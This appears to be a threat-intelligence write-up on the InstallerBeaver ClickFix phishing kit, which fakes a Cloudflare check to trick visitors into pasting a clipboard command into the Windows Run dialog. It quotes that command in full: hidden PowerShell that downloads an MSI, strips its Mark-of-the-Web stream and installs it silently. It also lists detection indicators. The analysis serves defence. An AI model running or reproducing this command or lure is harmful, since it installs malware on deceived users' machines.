InstallerBeaver ClickFix kit

The checkbox copies before the instructions appear

InstallerBeaver imitates a Cloudflare security check, fills its heading from a query parameter or the current hostname, and generates a new 16-character Ray ID on every load. A Turnstile-style checkbox is the only action offered to the visitor.

Clicking it copies the command immediately. The page tries navigator.clipboard.writeText first, then falls back to a hidden text area and document.execCommand('copy'). While that happens, the checkbox becomes a spinner. A modal appears 600 milliseconds later and tells the visitor to press Win+R, paste into the Run dialog and press Enter.

The modal has its own Verify button. Pressing it changes the checkbox to "Verification failed," then reloads the page two seconds later. The Ray ID displayed as proof is generated by the lure and repeated inside a comment at the end of the copied command.

The command stages a quiet Windows Installer run

The command starts PowerShell without a profile and hides its window. It writes the download to stale.msi in the Windows temp folder, removes the file's Zone.Identifier stream and hands the file to Windows Installer:

powershell -NoP -w h -c "$f=$env:TEMP+'\stale.msi'; curl.exe -sLo $f 'https://[download host]/api/stale.msi'; ri ($f+':Zone.Identifier') -EA 0; msiexec /i $f /qn"

Microsoft documents /i as a normal package installation and /qn as an installation with no interface.

What we see

Month	New sites
September	0
October	0
November so far	1

Of the 0 sites recaptured at least 25 days after their first match, 0 were still serving InstallerBeaver (0%).

Finding the copied MSI command

Search the raw HTML and inline scripts for:

• Performing security verification beside a Turnstile-style widget and a Ray ID
• variables named defaultVerify or clipText containing both curl.exe -sLo and msiexec /i
• the filename stale.msi and code that removes its Zone.Identifier stream
• a modal-verify-btn that changes the check to Verification failed
• clipboard code that keeps both navigator.clipboard.writeText and document.execCommand('copy')

Check the page source as well as the rendered page. The visible modal contains the keystrokes; the PowerShell command sits in the script that prepares the clipboard.